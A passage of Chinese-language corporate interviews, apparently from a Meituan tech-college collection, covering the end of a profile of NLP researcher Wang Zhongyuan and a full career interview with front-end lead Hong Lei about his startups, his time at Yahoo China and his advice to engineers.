我进入了研究的大门。我的第一任老板王海勋博士，他也是我在 Facebook 的老板，

给了我很多次机会。还有后来研究院的常务副院长马维英（现今日头条人工智能实验

室主任），从他身上，我学到了很多管理的能力。加入美团后，兴哥和老王（美团联合

创始人王慧文）对我的影响也非常大，每一次听他们的分享，都让我受益良多，比如

兴哥对战略的思考能力和大局观，老王对市场敏锐的把握、对产品的认知等等，都让

我学到非常多新的知识。我再次感觉到自己在快速的成长之中。他们对我的帮助也都
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非常大。

Q：如果让你推荐一本书，你会推荐哪本？

王仲远：推荐微软	CEO	萨提亚·纳德拉首部作品《刷新：重新发现商业与未

来》。我觉得萨提亚能够带领微软这样的巨型科技公司成功转型，再次成为市值最高

的公司，非常令人钦佩。

尤其是当年我也曾在微软工作过，感受过微软所面临的那种困境与挣扎，更能体

会到萨提亚的管理智慧。在书中，萨提亚反复提到“同理心”，这是我所非常认同的，

它也深刻地影响我的思考、沟通和行为方式。

相关阅读

王仲远博士获评《麻省理工科技评论》“35 岁以下科技创新 35 人”中的“远见

者”，麻省理工科技评论给出的获奖理由为：

“在知识图谱和自然语言处理领域解决多项挑战性问题，其工作涉及搜索引擎、

广告推荐、知识挖掘、关系推理、智能助理等多个领域。

获奖人（王仲远）在微软负责包括微软概念知识图谱、企业知识图谱等多个知识
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图谱和	NLP	相关项目，提出的概念化模型能让计算机像人类一样对文本进行理解；

在	Facebook	领导团队构建了世界上最大的产品级社交网络知识图谱实体链接服务。

在美团仅用半年就领导团队构建出世界上最大的餐饮娱乐知识图谱“美团大脑”。

获奖人的开发应用于餐饮、出行、休闲娱乐、旅游、金融等各个场景，为数亿人

提供了更便捷、更智能的服务。”

受访者简介
王仲远博士，美团点评高级研究员、高级总监，美团	AI	平台部	NLP	中心负责人、大众点评

搜索智能中心负责人。加入美团点评前，担任美国	Facebook	公司	Research	Scientist，负

责	Facebook	产品级	NLP	Service。在	Facebook	之前，担任微软亚洲研究院的主管研究

员，负责微软研究院知识图谱项目和对话机器人项目。多年来专注于自然语言处理、知识图谱

及其在文本理解方面的研究，在国际顶级学术会议如	VLDB、ICDE、IJCAI、CIKM	等发表论

文	30	余篇，获得	ICDE	2015	最佳论文奖，并是	ACL	2016	Tutorial	“Understanding	Short	

Texts”的主讲人，出版学术专著	3	部，获得美国专利	5	项。在	NLP	和	KG	研究领域及实际产

品系统中均有丰富经验，研究领域包括自然语言处理、知识图谱、深度学习、数据挖掘等。

参考文献
	● 《麻省理工科技评论》年度中国科技青年英雄榜发布！ 35 位中国入选者涵盖全球最前沿科

学与技术

	● 计算机系本科生王仲远荣获	SIGMOD07	Undergraduate	Scholarship　

https://mp.weixin.qq.com/s/HAjukXDi06dVu2O23lMPYA
https://mp.weixin.qq.com/s/HAjukXDi06dVu2O23lMPYA
http://webcache.googleusercontent.com/search?q=cache:1E16cc6uz24J:202.112.113.2/news/newsdetails/370+&cd=6&hl=zh-CN&ct=clnk&gl=jp
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 美团技术委员会前端通道主席洪磊： 
爱折腾的斜杠青年

技术学院

	 洪磊，2013 年加入美团，目前是美团外卖事业部终端组的负责人，也是美团

技术委员会前端通道主席。在加入美团之前，洪磊的职业生涯可以用“跌宕起

伏”来形容。他就读于中南财经政法大学，曾任职于雅虎中国，先后担任产品

经理、前端开发工程师等职位。拥有 4年创业经历，对前端和硬件技术有着很

高的热情。

高中时，洪磊就参加各种计算机竞赛，很喜欢技术，但是大学并没有选择计算机

这个方向。2002 年，洪磊考入中南财经政法大学，读国际贸易专业。不过大四那年，

他瞒着家里人跟几个小伙伴一起休学创业了。

当时，他们做了一款基于位置的本地服务（跟美团颇有渊源），受限于团队经验

和当时的市场环境，最后以失败而告终。随后加入了雅虎中国，起初做音乐搜索产品
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经理，一心想做一个好用的音乐搜索产品，但却被技术同学各种“刁难”，“这个不好

做，要开发 1个月”。于是，他从产品转到了后台，然后又从后台转到了前端。

自从 2005 年，雅虎中国被阿里巴巴收购，就在不断拥抱变化，洪磊并不是很喜

欢那种工作氛围。2009 年，创业之火再次燃起，于是受邀加入魔位娱乐，在此期间，

洪磊做过网页游戏开发，做过塞班App，从业务、运维、后台再到前端，几乎涉足

整个流程并都有较深的参与，练就了“十八般武艺”。2013 年，他觉得自己在团队管

理和个人发展上遇到了瓶颈，于是正式加入美团，负责移动前端组，再次踏上新的征

程。从美团触屏版开始做起，后面还搞了公司的运营系统，最后，“阴差阳错”地来

到了美团外卖技术团队，一直到现在。

近日，我们美团技术学院采访了洪磊，一个“爱折腾”的创业者，一个做过产

品、运营、后台和前端的工程师，他说家里的所有的智能家居，都是自己亲手“焊板

子”捯饬出来的。我们在洪磊身上，真正看到了一种极客精神。今天，让我们一起听

洪磊讲讲，这么多年他“折腾”出来的那些故事。

Q：当时怎么接触到的计算机？为什么大学选择了中南财经政法大学，而且选择

了国际贸易专业？有什么特别的故事可以分享吗？

洪磊：其实，我在高中时候就经常参加计算机的竞赛。当时的高中在浙江淳安

县，那是一个小县城，学校对计算机的理解或者说关注度其实是很低的。我参加一些

省里和市里计算机竞赛，还给学校拿过一些奖项，这也是淳安中学最早的几个计算机

奖项。

那个时候，对计算机还是非常感兴趣的，而且通过这几次获奖的经历，在自己心

里也打下了这个“烙印”。但因为我们江浙一带的人，更偏向于从商，所以当时选择

了中南财经政法大学的国际贸易专业。不过整个大学期间，我也非常有收获，对经济

学、会计学、保险、物流、运输等等很多方面，都有了一定了解。国际贸易是一个非

常广的学科，它涵盖的东西很多，甚至还要学习谈判技巧、各地文化和礼仪。虽然我

觉得这个专业非常赞，但是骨子里，我更偏爱技术一点。

最终我还是选择了休学创业，但我知道，家里肯定会反对。所有我没有敢跟家

里讲，我只是跟辅导员聊了一下，她当时很支持我的选择，虽然我对经济类专业也
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比较感兴趣。但是她觉得在计算机领域，我可能会有更好的发展。辅导员了解到我

顾虑，她说，“没关系，如果你不敢讲，我帮你去讲”。现在，我还是很感谢辅导员

给我的支持。

Q：辅导员为什么对你那么有自信？

洪磊：因为我在大学期间，参加了学校里一些计算机相关的社团，还给班里同学

辅导技术机等级考试的相关知识，有时还会接一些网站外包的活。最主要的是，我和

几个小伙伴给微软旗下的即时通讯工具MSN	Messenger 开发了一个插件，可以加

密聊天记录，并且添加了很多好用的小功能，我当时主要负责 Tab 系统的开发和维

护。这应该也是MSN	Messenger 历史上最著名的一个插件了。

那是一个虚拟的小组，我当时在武汉，另两个开发者一个在上海，一个在广州，

我们是三地办公。有个同学是专门去破解MSN	Messenger 的相关接口，获取相关

权限。另一个同学是做通讯内容的加密，我负责 Tab 功能相关的系统，三个人配合

的井井有条。

后来发现Yahoo!	Messenger 也有自己的标签系统，我顺便也破解了，这也是

后面我能够加入雅虎中国的重要原因。所以我辅导员觉得我在计算机方面有一定的天

赋，而且也做出了一些成绩，因此她坚定的支持我去做创业。

Q：现在回看第一次创业，失败的原因是什么？对自己的影响是什么？有没有后

悔过创业这件事？

洪磊：首先是经验不足，我们想的太过理想，觉得把产品做出来就能有用户。但

在当时，时机并不成熟，没有智能手机，上网主要靠PC，几乎无法实现精准的定位。

做送餐这样的服务，对商家、用户的体验都很差。现在看来，在技术上，我们做的还

行，但是在业务上，我们的思考就太少了。

这次创业后，我觉得事，都要有条理地去做，当时团队应该算是“散兵游勇”，

没做市场调查，没有MRD，连 PRD也是很简单的一个框架图而已，我们就开始开

发了，甚至一些技术的实现也因为总是变动功能而做得比较糙。

对休学这件事，还是有一些遗憾的，但是没有后悔过。比如因为没有毕业证，导

致我现在办不了北京的工作居住证，部分城市的落户也会很困难。但是不后悔，如果
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没有当时的爱折腾，可能也不会有现在这样一个“特别”的我。也许就是每天简单的

上班、吃饭、下班、陪家人，当然平淡也是一种幸福。但是我知道，这不是我向往的

生活。每次参加校园招聘，我会劝小同学们要来北京这样的大城市，因为视野不同，

眼界也大有不同。

我很清楚的记得，有个美团校招时被我的思想“安利”的小同学，她入职一年

后告诉我，“真是完全不一样的感觉，如果当时留在成都，大概率就是一生默默无闻

的做一份工作，可能永远都不会触达到世界各地。但是，现在我一有空，就全球各地

跑、去玩，去了解更多更新的知识，原来世界上有这么多有意思的东西，值得我们去

体会。”

Q：为什么会选择雅虎？

洪磊：雅虎当时还是全球第一大网站。而且我刚刚也讲到了，在大学期间，我把

Yahoo!	Messenger 的 Tab 系统破解了，还总是给他们提一些问题和想法，所以就

认识了当时雅虎中国的产品总监Sam。大二的时候，他就邀请我去雅虎实习。后来

创业失败，也没有机会参加校招，干脆就过去了。

雅虎中国也没有看我的学历。我当时还有点沾沾自喜。因为很多同学参加校招，

各种面试，最后等发Offer。而我，只写了一个 PPT，下面坐了好几个部门的负责

人，等我去选择。其实，我当时也不知道自己想做什么，Sam问我这个问题，我记

得是这么回答的：“我想做一些把雅虎美国的产品引入中国以后，让中国用户用的更爽

的事，我想做一些本地化，或者说更炫酷的功能。”

Q：给现在的实习生或者在校生提点建议吧？

洪磊：这个问题我需要好好回答一下，我参加过很多次校招，也结合我亲身的一

些经历，我给现在还在实习的同学们三点小建议：

	● 第一点，要想清楚自己喜欢的工作，或者自己喜欢的方向是什么，这点很重

要。很多同学都觉得找个朝阳行业，一份收入高的工作就好。工作以后，我们

会逐渐发现，只有我们真正喜欢的，才可能去深入。

	● 第二点，建议大家第一份工作要去一个大点的公司，如果是互联网公司，建议

去BAT或者美团这样的大型互联网企业。因为大公司能够提供一个体系化的
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成长平台，让同学们少走弯路。

	● 第三点，不要眼高手低，应该从最基础的岗位做起，从底层去了解一个技术。

我经常跟美团的小伙伴讲，“要多去看那些基础知识，少去看那些高大上的东

西。”如果真想自己去写一个东西，那我希望是从底层原理去了解，而不是通

过一些现成的类库来实现，甚至到网上找一个类似的直接改改。

Q：刚开始做的是产品相关的工作，什么原因让你转做前端了呢？

洪磊：这段经历其实挺有意思的，最早我去雅虎中国是做音乐搜索产品助理的，

但是对整个产品体系了解不够，就被我老板发配去做运营。其中有个重要的工作就是

每天要用几个小时去统计业务的各种数据，非常枯燥。

不过那个过程，对我的帮助非常之大，通过持续了两个月的数据统计工作，我对

整个音乐产品有个非常清晰的了解，知道业务上哪些地方有改进的空间。所以后面做

产品设计的时候，就可以游刃有余地通过数据来推动业务的发展。

说到转型，还有段精彩的故事。几乎所有的工程师都比较抵触产品，每次去排期

的时候，工程师都说这个事情比较难，我们做不了，或者这个事情我们排不上期，如

果逼急了，他们可能就来句“你行，你上啊”。当然我也不示弱，就接了一句：“好吧，

我自己来搞，你把权限开放给我。”因为我大学的时候就写过PHP代码，雅虎用的也

是PHP，所以做一些简单开发，不会有太大的压力。

写完后台以后，发现前端又是个瓶颈，前端人员少，排不上期，那行吧，我又开

始写起了前端。这时突然发现前端是我喜欢的一个方向，我就直接转入UED（雅虎的

前端在UED团队）。这里有个让我记忆犹新的小故事，可以分享给大家，我作为前端

工程师写的第一个页面，因为没有做到到像素级的呈现，结果被投诉到我老板那，被

训了一顿。

这件事对我触动很大，做每一件事，都应该符合需求方的诉求，尊重上游同学的

劳动成果，而不是自己埋头做一些自己觉得很轻松的事。这也促使我跟设计师同学们

的配合都非常默契，包括现在小米（米UI）的设计部门负责人跟我关系就很好，之前

他的个人网站就是他设计我开发的，其中各种渐变、圆角加阴影（当时要考虑低版本

IE），他非常赞赏我完美的呈现，我经常说他“就剩下对像素的这点追求了”。
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Q：你会鼓励技术同学转型吗？

洪磊：我还是会鼓励同学们去做一些有挑战的事。而选择转型，去干一个全新的

事情，主要还是看个人的兴趣和追求。但是非常推荐同学们去合作团队轮岗。美团外

卖就一直在推动轮岗的事，我最近也在产品线轮岗。

我觉得各种技术在思想上其实互通的，我们可以通过轮岗学到交叉领域的很多知

识。2013 年在平台做 LocalStorage 缓存优化，就借鉴了MemCache 的一些想法

去实现的。所以很多情况，我们可以去借鉴其他技术的思想，只是代码的实现层面，

略有差异。

Q：当时为什么会离开雅虎？再次选择创业，有哪些新的收获？

洪磊：很重要的一个原因，就是雅虎中国乃至全球的业务在慢慢萎缩，心里有一

定的落差。而且收购后，阿里巴巴的企业文化、价值观我也不是非常适应。刚巧有一

个好哥们邀请我和他一起创业，我就决定和他一起“干一票大的”。当然，创业依然

是一个很艰辛的过程。

创业要有极强大的内心。我当时从雅虎中国出来，家人朋友并不支持我，因为阿

里巴巴在浙江非常有名，大家都挤破了头往里走。父母会觉得，从那么优秀的一家公

司出来跑去创业，还是一家“生死未卜”的公司，是脑袋有“坑”的节奏吗？

这次创业中间有很多波折的，做过很多业务，比如网页游戏，比如塞班客户端应

用等等。我觉得创业要有耐心，要能够坚持在一个业务上不断深入。也需要灵活，在

发现某个业务方向完全行不通的时候快速变化。这次创业，我最大的收获是，从业务

到技术，甚至采购和市场都要自己去管理，这让我能更全面的去思考一个业务的发展

过程。

其实我还是一个技术流，更喜欢去研究技术问题，家里的智能家居系统都是我自

己搞的，其中还包括大部分的硬件，自己购买芯片和元件，然后做 PCB板、焊接。

我希望对这些设备有“掌控权”，或者说我希望这些设备对我来说，是一个完全“透

明”的东西。不希望设备“不听话”，更不希望数据莫名奇妙到了别人的服务器上，

对于一个做技术同学来说，这是很难容忍的一件事情。
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Q：这么多年的创业，对技术的发展有哪些体会？

洪磊：对技术而言，第一点感触是，在商业社会中，能服务好业务的技术才有价

值，不推崇去搞一些不容易落地的技术。

第二点感触是，技术和产品应该和业务紧密相连，不能单独割裂开来，我们每个

技术同学也都应该了解产品还有业务的思路，做出最合适的技术实现。

Q：后来为什么选择美团？

洪磊：创业的前两年比较辛苦，后面基本上全球跑，每天都可以有“说走就走的

旅行”。公司的业务趋于稳定，没有太大的发展，感觉自己的发展也遇到了一些瓶颈。

还有一点，我们的公司属于“哥们型”的公司，在团队管理层面，存在很大的问

题，我当时管了 20人左右，很难再扩大规模了。恰巧雅虎的一个同事推荐我来美团，

当时跟亮哥（陈亮，美团高级副总裁）也比较谈得来，所以就加入了。

Q：到美团后经历了哪些事？

洪磊：刚来美团的时候，我们团队只有 3个人。移动前端在当时也是一个刚兴起
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不久的方向，几乎相当于从零开始做，我很享受这个过程。

团队主要工作就是开发美团系相关触屏版页面，期间还管理了相关的后端团队和

产品团队，最多的时候有 30多人，也创造了不错的业绩。同时也为公司很多部门输

送了大批人才，包括猫眼（已经独立）、大象、美团酒旅最早期的前端的同学，都是从

我们移动前端组过去的。

2016 年初，公司希望我去管理外卖前端团队，最初还是有点犹豫的，后来和外

卖同学做了简单沟通后就欣然接受了挑战，当时并没有想到会在外卖团队获得如此快

速的成长。

到外卖后，第一个挑战就是App 的质量欠佳，我并不是客户端出身，所以对客

户端技术了解甚少，只能通过管理的手段来做事情，还好当时有非常称心的“左膀右

臂”，加上自己精通前端技术，很快跟小伙伴打成一片。我觉得美团的工程师文化还

是很好的，“只要你技术好，我就是服你的，可以跟你干”。

现在我们团队有 100 多名小伙伴，管理团队在成员的引入、留存和培养上下足

了功夫，资深工程师占比超过 30%，是美团比较优秀的团队之一，我也为此骄傲。

在此，也欢迎更多的同学加入我们。

Q：你觉得美团的技术氛围如何？

洪磊：我觉得我们美团的技术氛围挺好的，至少在我待过的几家公司里是最好

的。因为我们美团的工程师比较有冲劲，自驱力很强。

第二点，再就是大家都愿意去做一些事情，提高整个团队的影响力。在美团这个

大家庭里，永远不是一个人在向前跑，而是共同追求进步。

Q：平时有哪些爱好？

洪磊：一是爱折腾，折腾技术，折腾硬件这些。家里的智能家居系统，都是我

自己一个人焊板子，捯饬出来的，我希望家里的东西都是“透明”的，代码也要

“透明”。

然后，有时间就去旅行，满世界跑。有时一个人，有时约上三两个好友一起自

驾。我不太喜欢“走马观花”，更喜欢在一个地方待上一段时间，去体会那里的风土

人情，感受当地的文化。旅行时，我不喜欢有太多的规划。很多时候，不知道自己的
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下一个目的地是哪里，只要一直在路上就好。

Q：写代码多少年了？

洪磊：要说第一行代码，应该要追溯到 2000 年左右高二时候了，那时学校还用

的是DOS系统，我会用Pascal 语言“暴力”获取一些简单游戏的通关步骤。当时

“文曲星”上面有一个叫“汉诺塔”的游戏，我就用穷举法找到了最少的移动步骤。

第一行PHP代码是 2003 年写的，直到现在还会偶尔写写。我对写代码这件事

兴趣盎然，应该会永远充满激情。

Q：对技术同学有哪些建议？

洪磊：第一点，我觉得应该深入了解底层的原理，而不要只停留在应用层面。这

样才能够真真切切地明白程序运行的机理。

第二点，要懂得举一反三，把自己学到的知识，通过加工，创造出更好的实现，

使知识得到升华。我感觉中国的工程师比较守规矩，发散性思维较弱，这方面还可以

提升很多。

第三点，就是要长期有耐心，这也是我们美团倡导的价值观和做事方式。
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